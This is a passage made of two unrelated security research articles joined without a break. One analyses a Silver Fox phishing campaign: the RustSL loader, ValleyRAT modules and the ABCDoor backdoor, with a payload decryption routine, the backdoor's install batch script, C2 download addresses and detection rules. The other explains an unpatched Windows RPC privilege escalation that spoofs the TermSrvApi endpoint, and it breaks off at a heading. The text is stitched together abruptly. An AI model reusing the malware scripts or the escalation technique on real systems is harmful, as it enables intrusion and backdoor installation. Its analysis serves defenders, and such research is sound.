To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:
def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
buf = bytearray(data)
xor_key = sgn_key & 0xFF
for _ in range(sgn_iterations):
k = xor_key
for i in range(len(buf)):
dec = buf[i] ^ k
if k & 1:
k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
else:
k = (dec ^ (k >> 1)) & 0xFF
buf[i] = dec
return bytes(buf)
The unpacking process consists of the following stages:
Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
Original file containing the encrypted malicious payload
XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
Encrypted malicious payload prior to the final decryption stage
Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).
The guard.rs module
Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.
In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.
The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.
To determine the host country, Silver Fox RustSL sends requests to five public services:
ip-api.com (the GitHub version relies solely on this service)
ipwho.is
ipinfo.io
ipapi.co
www.geoplugin.net
Phantom Persistence
We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:
[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp] Phantom Persistence Module (Hijack Mode)
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.
Attack chain and payloads
During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:
As an email attachment
Via a link to an external attacker-controlled website contained within a PDF attachment
We also observed three different ways the payload was positioned relative to the loader:
Embedded within the loader body
Hosted on an external website as a PNG image
Placed within the same archive as the loader
The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.
Attack chain of the campaign utilizing the RustSL loader
The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.
Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module
The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.
The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:
End of the decrypted payload: ValleyRAT (Winos 4.0) configuration
The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:
The key configuration parameters in this string are:
p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
bz: the creation date of the configuration
The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).
Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.
ValleyRAT utilizes the registry to store its configurations and modules:
Registry key
Description
HKCU:\Console\0
For x86-based modules
HKCU:\Console\1
For x64-based modules
HKCU:\Console\IpDate
Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info
Final configuration
The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.
Custom ValleyRAT modules
The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.
HKCU:\Console\0 registry key value
Module name
Library MD5 hash
Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0
保86.dll
4a5195a38a458cdd2c1b5ab13af3b393
2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0
保86.dll
e66bae6e8621db2a835fa6721c3e5bbe
2025-12-04 04:39:32
2375193669e243e830ef5794226352e7
保86.dll_bin
e66bae6e8621db2a835fa6721c3e5bbe
2025-12-04 04:39:32
Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.
Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:
Countries where the 保86.dll module functions
If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.
Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.
The module implements the following download methods:
Using the InternetReadFile function with the User-Agent PythonDownloader
The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.
Contents of the 111.zip archive
The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.
Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:
The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.
@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale
rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b
:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b
Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:
The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.
Code for main.py: the module entry point
The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:
We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.
The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.
Upon execution, the backdoor establishes persistence in the following locations:
Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
The command creates a task named “AppClient” that runs every minute.
The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:
MainManager: handles C2 connection and authorization (sending system metadata)
MessageManager: registers and executes message handlers
AutoStartManager: manages backdoor persistence
ClientManager: handles backdoor updates and removal
SystemInfoManager: collects data from the victim’s system, including screenshots
RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
FileManager: performs file system operations
KeyboardManager: emulates keyboard input
ProcessManager: manages system processes
ClipboardManager: exfiltrates clipboard contents to the C2
CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.
The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:
Emulating a double click while broadcasting the victim’s screen
A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension
For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.
Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:
Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance
Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:
The existing ABCDoor process is then forcibly terminated.
ABCDoor versions
Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:
Version
Compiled date (UTC)
Key updates
ABCDoor .pyd MD5 hash
121
2024.12.19 18:27:11
– Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
– No OOP used
– Registry persistence
– DPAPI encryption functions
– Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154
2025.05.09 13:36:24
– Implementation of installation channels
– Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156
2025.08.11 13:36:10
– Retrieval and logging of initial installation time to the registry
a543b96b0938de798dd4f683dd92a94a
157
2025.08.28 14:23:57
– Use of DDA source in ffmpeg for monitor screen broadcasting
fa08b243f12e31940b8b4b82d3498804
157
2025.09.23 11:38:17
– Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)
13669b8f2bd0af53a3fe9ac0490499e5
Evolution of ABCDoor distribution methods
Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:
C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:
The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:
Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:
November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)
The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.
Icons of the SFX archives
When executed, the SFX archive ran the following script:
SFX archive script
This script launched run_direct.ps1, a PowerShell script contained within the archive.
The run_direct.ps1 script
The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:
Decrypted configuration for the JS loader
The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.
Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:
Log fragments gathered from throughout the JS code
Victims
As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.
Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)
The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.
Conclusion
In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.
During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.
The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.
Detection by Kaspersky solutions
Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.
The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.
Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.
After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.
Windows Interprocess Communication (IPC) is one of the most complex technologies within the Windows operating system. At the core of this ecosystem is the Remote Procedure Call (RPC) mechanism, which can function as a standalone communication channel or as the underlying transport layer for more advanced interprocess communication technologies. Because of its complexity and widespread use, RPC has historically been a rich source of security issues. Over the years, researchers have identified numerous vulnerabilities in services that rely on RPC, ranging from local privilege escalation to full remote code execution.
In this research, I present a new vulnerability in the RPC architecture that enables a novel local privilege escalation technique likely in all Windows versions. This technique enables processes with impersonation privileges to elevate their permissions to SYSTEM level. Although this vulnerability differs fundamentally from the “Potato” exploit family, Microsoft has not issued a patch despite proper disclosure.
I will demonstrate five different exploitation paths that show how privileges can be escalated from various local or network service contexts to SYSTEM or high-privileged users. Some techniques rely on coercion, some require user interaction and some take advantage of background services. As this issue stems from an architectural weakness, the number of potential attack vectors is effectively unlimited; any new process or service that depends on RPC could introduce another possible escalation path. For this reason, I also outline a methodology for identifying such opportunities.
Finally, I examine possible detection strategies, as well as defensive approaches that can help mitigate such attacks.
MSRPC
Microsoft RPC (Remote Procedure Call) is a Windows technology that enables communication between two processes. It enables one process to invoke functions that are implemented in another process, even though they are running in different execution contexts.
The figure below illustrates this mechanism.
Let us assume that Host A is running two processes: Process A and Process B. Process B needs to execute a function that resides inside Process A. To enable this type of interaction, Windows provides the Remote Procedure Call (RPC) architecture, which follows a client–server model. In this model, Process A acts as the RPC server, exposing its functionality through an interface, in our example, Interface A. Each RPC interface is uniquely identified by a Universally Unique Identifier (UUID), which is represented as a 128-bit value. This identifier enables the operating system to distinguish one interface from another.
The interface defines a set of functions that can be invoked remotely by the RPC client implemented in Process B. In our example, the interface exposes two functions: Fun1 and Fun2.
To communicate with the server, the RPC client must establish a connection through a communication endpoint. An endpoint represents the access point that enables transport between the client and the server. Because RPC supports multiple transport mechanisms, different endpoint types may exist, depending on the underlying transport.
For example:
When TCP is used as the transport layer, the endpoint is a TCP port.
When SMB is used, communication occurs through a named pipe.
When ALPC is used, the endpoint is an ALPC port.
Each transport mechanism is associated with a specific RPC protocol sequence. For instance:
ncacn_ip_tcp is used for RPC over TCP.
ncacn_np is used for RPC over named pipes.
ncalrpc is used for RPC over ALPC.
In this research, I focus specifically on Advanced Local Procedure Call (ALPC) as the RPC transport mechanism. ALPC is a Windows interprocess communication mechanism that predates MSRPC. Today, RPC can leverage ALPC as an efficient transport layer for communication between processes located on the same machine.
For simplicity, an ALPC port can be thought of as a communication channel similar to a file, where processes can send messages by writing to it, and receive messages by reading from it.
When the client wants to invoke a remote function, for example, Fun1, it must construct an RPC request. This request includes several important pieces of information, such as the interface UUID, the protocol sequence, the endpoint, and the function identifier. In RPC, functions are not referenced by name, but by a numerical identifier called the operation number (OPNUM). Depending on the requirements of the call, the request may also contain additional structures, such as security-related information.
Impersonation in Windows
In Windows, impersonation enables a service to temporarily operate using another user’s security context. For example, a service may need to open a file that belongs to a user while performing a specific operation. By impersonating the calling user, the system allows the service to access that file, even if the service itself would not normally have permission to do so. You can read more about impersonation in James Forshaw’s book Windows Security Internals.
This research focuses specifically on RPC impersonation. Instead of describing the interaction as a service and a user, I refer to the participants as a client and a server. In this model, the RPC server may temporarily adopt the identity of the client that initiated the request.
To perform this operation, the RPC server can call the RpcImpersonateClient API, which causes the server thread to execute under the client’s security context.
However, in some situations, a client may not want the server to be able to impersonate its identity. To control this behavior, Windows introduces the concept of an impersonation level. This defines how much authority the client grants the server to act on its behalf.
These settings are defined as part of the Security Quality of Service (SQOS) parameters, specified using the SECURITY_QUALITY_OF_SERVICE structure.
As you can see, this structure contains the impersonation level field, which determines the extent to which the server can assume the client’s identity.
Impersonation levels range from Anonymous, where the server cannot impersonate the client at all, to Impersonate and Delegate, which allow the server to act fully on behalf of the client.
At the same time, not every server process is allowed to impersonate a client. If any process could perform impersonation freely, it would pose a serious security risk. To prevent this, Windows requires the server process to possess a specific privilege called SeImpersonatePrivilege. Only processes with this privilege can successfully impersonate a client.
This privilege is granted by default to certain service accounts, such as Local Service and Network Service.
Interaction between Group Policy service and TermService
The Group Policy Client service (gpsvc) is a core Windows service responsible for applying and enforcing group policy settings on a system. It runs under the SYSTEM account inside svchost.exe.
When a group policy update is triggered, Windows uses an executable called gpupdate.exe. This tool can be executed with the /force flag to force an immediate refresh of all group policy settings. Internally, this executable communicates with the Group Policy service, which coordinates the update process.
At a certain stage during this operation, the Group Policy service attempts to communicate with TermService (Terminal Service, the Remote Desktop Services service) using RPC.
TermService is responsible for providing remote desktop functionality. This service is not running by default and can be enabled manually by the administrator via activation of Remote Desktop access. When this happens, the service exposes an RPC server with multiple interfaces and endpoints. TermService runs under the NT AUTHORITY\Network Service account.
When the command gpupdate /force is executed, the Group Policy service performs an RPC call to the TermService using the following parameters:
UUID: bde95fdf-eee0-45de-9e12-e5a61cd0d4fe.
Endpoint: ncalrpc:[TermSrvApi].
Function: void Proc8(int).
However, because TermService is disabled by default, the RPC call fails and an exception occurs in rpcrt4.dll (the RPC runtime). The returned error is:
0x800706BA (RPC_S_SERVER_UNAVAILABLE, 1722).
This error indicates that the RPC client could not reach the target server.
Tracing the failure path further reveals that the root cause originates from a call to NtAlpcConnectPort, which is used by RPC to establish an ALPC connection between processes.
The NtAlpcConnectPort function is responsible for connecting to a specific ALPC port and returning a handle that the client can use for further communication. This function accepts multiple parameters.
The first two parameters include:
A pointer to the returned port handle.
The ALPC port name, represented as an ASCII string.
Another important argument is PortAttributes, which is an ALPC_PORT_ATTRIBUTES structure. Inside this structure is the SECURITY_QUALITY_OF_SERVICE structure, which, as mentioned above, defines the impersonation level used for the connection.
The final parameter of interest is RequiredServerSid, which specifies the expected identity of the target server process. This identity is represented using a Security Identifier (SID) structure.
Inspecting this call reveals that the Group Policy service attempts to connect to the RPC server using an impersonation level of Impersonate, expecting the remote server to run under the Network Service account. This behavior makes sense because TermService normally runs under Network Service.
Based on all the information above, the following scheme can be created to illustrate the interaction between TermService and gpsvc.
Up to this point, nothing unusual has occurred. An RPC client attempts to connect to an RPC server that is unavailable, resulting in an exception handled by the RPC runtime.
However, an interesting question arises: What if an attacker compromises a service that runs under the Network Service identity and mimics the exact RPC server exposed by TermService?
Could the attacker deploy a fake RPC server with the same endpoint?
If so, would the RPC runtime allow the client to connect to this illegitimate server?
And if the connection is successful, how could an attacker leverage this behavior?
Coercing the Group Policy service
To better understand the implications of the previously described behavior, let us consider the following attack scenario.
Imagine an attacker has compromised a service running on the system under the Network Service account, for example, an IIS server operating under the Network Service account. With this level of access, the attacker can deploy a malicious RPC server.
The attacker’s RPC server is designed to mimic the RPC interface exposed by the Remote Desktop service (TermService). Specifically, it implements the same RPC interface UUID and exposes the same endpoint name: TermSrvApi. Once deployed, the malicious server listens for RPC requests that would normally be directed to the legitimate RDP service.
Next, the attacker coerces the Group Policy service by triggering a policy update using gpupdate.exe /force. This causes the Group Policy Client service, which runs under the SYSTEM account, to perform the previously described RPC call. As observed earlier, this RPC call uses a high impersonation level (Impersonate).
When the attacker’s fake RPC server receives the request, it calls RpcImpersonateClient. This enables the server thread to impersonate the security context of the calling client, which, in this case, is SYSTEM.
As a result, the attacker can elevate privileges from Network Service to SYSTEM. In our proof-of-concept implementation, the exploit demonstrates privilege escalation by spawning a SYSTEM-level command prompt.
When this attack scenario was first discussed, it was purely theoretical. However, after implementing the malicious RPC server, the experiment confirmed that Windows allowed the server to be deployed and started successfully, and that the RPC runtime permitted the client to connect to the malicious endpoint. This made it possible to reliably escalate privileges from Network Service to SYSTEM using this technique. For this attack to succeed, though, at least one group policy must be applied on the system.
RPC architecture flow
Further investigation revealed that many Windows services attempt to communicate with TermService using RPC. These RPC calls often originate from winsta.dll, which acts as the RPC client component.
Windows processes invoke APIs exposed by winsta.dll; these APIs rely internally on RPC communication with TermService. This pattern is common in Windows; many system DLLs use RPC behind the scenes when their exported APIs are called.
However, it appears that the RPC runtime (rpcrt4.dll) does not provide a mechanism to verify the legitimacy of RPC servers. Moreover, Windows allows another process to deploy an RPC server that exposes the same endpoint as a legitimate service.
As a result, this architectural design introduces a large attack surface because RPC is heavily used across numerous system DLLs. Applications that invoke seemingly benign APIs may unintentionally trigger privileged RPC interactions. Under certain conditions, these interactions could be abused to achieve local privilege escalation without the user’s knowledge.
Identifying RPC calls to unavailable servers
As the issue appears to stem from an architectural weakness, a systematic approach is needed to identify RPC clients attempting to communicate with servers that are unavailable. First, I need a platform capable of monitoring RPC activity and extracting relevant information from each RPC request.
Specifically, I need to capture key RPC metadata, including:
Interface UUID, endpoint, and OPNUM.
Impersonation level and RPC status code.
Client process privilege level, process name, and module path.
This information is critical because it enables me to reconstruct the RPC interaction, mimic the expected RPC server, and determine how the call is triggered.
The platform that provides this capability is Event Tracing for Windows (ETW). ETW is a built-in Windows logging framework that captures both kernel-mode and user-mode events in real time.
Windows provides a tool called logman to collect ETW data. It enables us to create trace sessions, select event providers, and configure the verbosity level of the tracing process. The collected tracing data is stored in an .etl file, which can later be analyzed using tools such as Event Viewer or other ETW analysis utilities.
ETW provides deep visibility into RPC activity without requiring modifications to applications. Through ETW, it is possible to capture detailed RPC information, such as:
RPC bindings
Endpoints
Interface UUIDs
Authentication details
Call flow and timing
RPC status codes
However, I’m not interested in every RPC event. My focus is on RPC call failures, specifically those that return the status RPC_S_SERVER_UNAVAILABLE.
For an event to be relevant to this research, the exception must meet two conditions:
It must originate from a high-privileged process because impersonating such a process may allow an attacker to escalate privileges to a more powerful security context.
The RPC call must use a high impersonation level, enabling the server to fully impersonate the client once the connection is established.
I cannot rely solely on the raw ETW output to implement this framework because it contains thousands of events, making manual filtering with standard tools inefficient. Therefore, I need to automate this process. The workflow shown below enables me to efficiently filter and extract only those events that are relevant to this analysis.
After generating the logs as an .etl file, I convert them to JSON format using tools such as etw2json. JSON is a much easier format to process programmatically. In this case, I use a Python script to filter and extract the relevant information.
The filtering process begins with a search for Event ID 1, which corresponds to an RPC stop event. This event indicates that the RPC client has completed the call and the result is available. From this event, I can extract useful information, such as:
Status code
Client process name
Client process ID
Endpoint
After extracting the status code, I filter for the specific value RPC_S_SERVER_UNAVAILABLE, which indicates that the target server was unreachable during an RPC call. These events represent the scenarios that are of interest.
However, Event ID 1 does not contain all of the required RPC metadata. To obtain the missing information, it is correlated with Event ID 5, which represents the RPC start event. This event is generated when the client initiates the RPC call.
By matching the metadata between Event ID 1 and Event ID 5, I can recover the missing details, including:
Interface UUID
OPNUM
Impersonation level
After correlating and filtering these events, a JSON entry is obtained that is almost ready for analysis. At this stage, the data can be enriched further by adding context that will be helpful when reversing or analyzing the RPC server implementation. For example, the following can be identified:
The DLL where the RPC interface is implemented
The location of that DLL
The number of procedures exposed by the interface
To retrieve this information, I match the UUID with an external RPC interface database. In this case, I used the RPC database, which contains a comprehensive list of RPC interfaces and their corresponding DLL implementations.
At the end of this process, a complete JSON dataset is obtained that can be used for further analysis.
One important observation is that the RPC calls I am looking for may only occur when specific system actions are triggered. Additionally, the resulting exceptions may vary from one system to another depending on which services are enabled or disabled. Therefore, I need a reliable way to generate these RPC exceptions.
In this research, I used several approaches to trigger such events:
Monitoring RPC activity during system startup
I observed RPC activity while the system booted. During startup, many services initialize and perform various RPC calls, which increases the chances of capturing calls to unavailable servers.
Triggering administrative operations I developed PowerShell scripts that perform common administrative tasks, such as updating Group Policy, changing network settings, or creating new users. These operations often trigger RPC communication and may generate exceptions.
Disabling services intentionally
After observing that Remote Desktop was disabled by default, I extended this idea by disabling additional services one by one and repeating the previous steps. This approach can reveal RPC clients that attempt to connect to services that are no longer available.
Additional privilege escalation paths
After running the logging and monitoring framework described earlier, I identified four additional scenarios that can lead to privilege escalation. The following sections introduce each case and explain how escalation can be achieved.
User interaction: From Edge to RDP
